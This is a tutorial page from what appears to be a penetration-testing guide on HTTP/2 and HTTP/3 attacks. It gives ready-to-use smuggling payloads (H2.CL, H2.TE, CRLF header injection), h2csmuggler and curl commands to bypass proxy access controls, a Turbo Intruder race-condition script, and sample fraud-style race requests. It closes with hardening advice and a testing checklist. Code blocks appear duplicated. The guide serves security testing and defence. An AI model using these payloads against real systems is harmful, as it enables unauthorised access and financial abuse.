Exploitation A05

HTTP/2 & HTTP/3 Specific Attacks

HTTP/2's binary framing, multiplexing, and header compression introduce attack vectors that don't exist in HTTP/1.1. HTTP/3 (QUIC) adds UDP-based transport with its own security considerations.

Why This Matters

The request smuggling page covers HTTP/1.1 Content-Length / Transfer-Encoding desync only. HTTP/2 introduces entirely new smuggling primitives based on binary framing, pseudo-headers, and protocol downgrade. Many organizations proxy HTTP/2 to HTTP/1.1 backends — a prime smuggling surface.

Protocol Comparison

Feature HTTP/1.1 HTTP/2 HTTP/3
Transport TCP TCP + TLS QUIC (UDP + TLS 1.3)
Framing Text-based Binary frames Binary frames
Multiplexing No (pipelining, rarely used) Yes (streams) Yes (independent streams)
Header Compression None HPACK QPACK
Server Push No Yes (deprecated in Chrome) Yes (rarely used)
Smuggling Surface CL/TE desync H2→H1 downgrade, pseudo-headers Less studied, emerging

🛠️ Tools

Burp Suite (HTTP/2)

Native HTTP/2 support, Inspector tab shows pseudo-headers

h2csmuggler

HTTP/2 cleartext (h2c) smuggling tool

GitHub →

http2smugl

HTTP/2 request smuggling scanner

GitHub →

curl (HTTP/2 & /3)

curl --http2, curl --http3

nghttp2

HTTP/2 client/server library & tools

nghttp2.org →

Wireshark

HTTP/2 frame-level inspection with SSLKEYLOGFILE

1. HTTP/2 Request Smuggling (H2→H1 Desync)

When a front-end speaks HTTP/2 to clients but downgrades to HTTP/1.1 when forwarding to backends, the translation process creates smuggling opportunities. HTTP/2's binary framing means there's no ambiguity in message boundaries within H2 itself — the vulnerability arises in the downgrade translation.

Warning

HTTP/2 request smuggling was disclosed by James Kettle (PortSwigger) in 2021. It affects reverse proxies that downgrade HTTP/2 connections to HTTP/1.1 backends — an extremely common architecture.

H2.CL Desync

http
# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request
# HTTP/2 request with mismatched Content-Length
# The front-end processes the H2 frame length (binary, unambiguous)
# But when downgrading to H1, it forwards the Content-Length header as-is

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end sees the full body as part of one request
# The H1 backend sees Content-Length: 0, treats the rest as a NEW request
# Result: The "GET /admin" is processed as a separate request

H2.TE Desync

http
# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0

" terminates the chunked body, smuggling the second request
# HTTP/2 technically forbids Transfer-Encoding, but some front-ends
# still forward it during downgrade

# In Burp Suite (HTTP/2 Inspector):
:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

# The H2 front-end ignores Transfer-Encoding (it uses frame lengths)
# After downgrade, the H1 backend processes Transfer-Encoding: chunked
# "0

" terminates the chunked body, smuggling the second request

H2 Header Injection via CRLF

http
# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like 
)
# During downgrade, these become header injections

# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil

GET /admin HTTP/1.1
Host: target.com

# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com

# This is a powerful primitive for request smuggling and header injection
# HTTP/2 headers are binary — they CAN contain characters
# that would be invalid in HTTP/1.1 (like 
)
# During downgrade, these become header injections

# In Burp Suite (HTTP/2 Inspector), set a header value containing CRLF:
:method: GET
:path: /
:authority: target.com
header: value
Injected-Header: evil

GET /admin HTTP/1.1
Host: target.com

# After H2→H1 downgrade, the backend sees:
# header: value
# Injected-Header: evil
#
# GET /admin HTTP/1.1
# Host: target.com

# This is a powerful primitive for request smuggling and header injection

2. HTTP/2 Cleartext (h2c) Smuggling

h2c smuggling abuses the HTTP/1.1 Upgrade mechanism to establish HTTP/2 cleartext connections through reverse proxies that don't understand h2c. This can bypass access controls applied at the proxy layer.

bash
# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests

# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/   --test  # Test if h2c upgrade is supported

# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/   -X GET -l https://target.com/admin

# Manual h2c upgrade request:
curl -v --http2   -H "Upgrade: h2c"   -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA"   -H "Connection: Upgrade, HTTP2-Settings"   https://target.com/

# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules
# h2c Upgrade smuggling — bypass reverse proxy access controls
# The proxy sees an Upgrade request and tunnels the connection
# without applying URL-based access controls to subsequent H2 requests

# Using h2csmuggler:
python3 h2csmuggler.py -x https://target.com/   --test  # Test if h2c upgrade is supported

# Smuggle a request to /admin (blocked at proxy, allowed via h2c):
python3 h2csmuggler.py -x https://target.com/   -X GET -l https://target.com/admin

# Manual h2c upgrade request:
curl -v --http2   -H "Upgrade: h2c"   -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA"   -H "Connection: Upgrade, HTTP2-Settings"   https://target.com/

# If the proxy forwards the Upgrade, you get a direct H2 connection
# to the backend, bypassing proxy-layer WAF/ACL rules

3. Single-Packet Attack (Race Conditions)

HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, enabling precise race condition exploitation. All requests arrive at the server simultaneously, eliminating network jitter.

python
# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation

# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False,
                           engine=Engine.HTTP2)
    
    # Queue requests that should arrive simultaneously
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Open the gate — all requests sent in one packet
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
# Single-packet attack using Turbo Intruder (Burp extension)
# This sends 20+ requests in a single TCP packet for race condition exploitation

# Turbo Intruder script for single-packet attack:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False,
                           engine=Engine.HTTP2)
    
    # Queue requests that should arrive simultaneously
    for i in range(20):
        engine.queue(target.req, gate='race1')
    
    # Open the gate — all requests sent in one packet
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
http
# Race condition targets worth testing with single-packet attack:

# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}

# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}

# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}

# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}
# Race condition targets worth testing with single-packet attack:

# 1. Coupon/discount code redemption
POST /api/apply-coupon HTTP/2
Content-Type: application/json
{"code": "DISCOUNT50"}

# 2. Rate-limited actions (password reset, OTP verification)
POST /api/verify-otp HTTP/2
Content-Type: application/json
{"otp": "123456"}

# 3. Balance/transfer operations
POST /api/transfer HTTP/2
Content-Type: application/json
{"to": "attacker", "amount": 100}

# 4. File/resource creation (race to create duplicate unique resources)
POST /api/claim-username HTTP/2
Content-Type: application/json
{"username": "admin"}

4. HTTP/3 & QUIC Considerations

Information

HTTP/3 attacks are an emerging research area. QUIC's UDP transport and mandatory TLS 1.3 change the attack surface significantly compared to TCP-based HTTP/2.
bash
# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400

# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com

# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
#    Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
#    Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
#    Server must implement anti-replay for 0-RTT data

# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/

# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com
# Detect HTTP/3 support
curl -sI https://target.com | grep -i alt-svc
# Look for: alt-svc: h3=":443"; ma=86400

# Test with HTTP/3 (requires curl built with HTTP/3 support)
curl --http3 -v https://target.com

# QUIC-specific considerations:
# 1. UDP-based — different firewall/IDS rules may apply
#    Some WAFs only inspect TCP traffic, missing QUIC entirely
# 2. Connection migration — QUIC connections survive IP changes
#    Could bypass IP-based rate limiting
# 3. 0-RTT resumption — replay attacks possible
#    Server must implement anti-replay for 0-RTT data

# Using quiche (Cloudflare's QUIC implementation) for testing:
cargo build --examples
./target/debug/examples/http3-client https://target.com/

# Nmap QUIC detection:
nmap -sU -p 443 --script=http3-supported target.com

QUIC Attack Surface

Attack Vector Description Impact
0-RTT Replay Replaying early data in QUIC 0-RTT handshakes Replay sensitive operations (transfers, state changes)
UDP Amplification QUIC initial packets may trigger amplified responses DDoS reflection/amplification
Connection Migration QUIC connections survive IP/port changes Bypass IP-based access controls
WAF Bypass WAFs that only inspect TCP miss QUIC traffic Unfiltered access to backend
QPACK Compression Similar to HPACK but less studied Potential CRIME-like attacks (theoretical)

🛡️ Remediation & Defense

Defensive Measures

HTTP/2 Hardening

  • • Use end-to-end HTTP/2 (avoid H2→H1 downgrade)
  • • Normalize or reject H2 requests with invalid headers during downgrade
  • • Strip Transfer-Encoding from H2 requests
  • • Validate Content-Length matches actual body in downgrade
  • • Disable h2c upgrades at the proxy (reject Upgrade: h2c)
  • • Apply access controls at backend, not just proxy

HTTP/3 & QUIC Hardening

  • • Implement anti-replay mechanisms for 0-RTT data
  • • Restrict 0-RTT to idempotent requests only
  • • Ensure WAF/IDS inspects QUIC traffic
  • • Apply rate limiting per connection ID, not just IP
  • • Validate connection migration tokens
  • • Set appropriate Alt-Svc max-age values

CWE References: CWE-444 (HTTP Request/Response Smuggling), CWE-436 (Interpretation Conflict), CWE-362 (Race Condition)

✅ HTTP/2 & HTTP/3 Testing Checklist

Protocol Detection
  • ☐ Identify H2 support (ALPN negotiation)
  • ☐ Check for H3/QUIC (Alt-Svc header)
  • ☐ Detect H2→H1 downgrade architecture
  • ☐ Test h2c upgrade support
H2 Smuggling
  • ☐ Test H2.CL desync
  • ☐ Test H2.TE desync
  • ☐ Test CRLF injection in H2 headers
  • ☐ Test pseudo-header manipulation
Advanced
  • ☐ Test single-packet race conditions
  • ☐ h2c smuggling for ACL bypass
  • ☐ 0-RTT replay testing
  • ☐ Check WAF UDP/QUIC inspection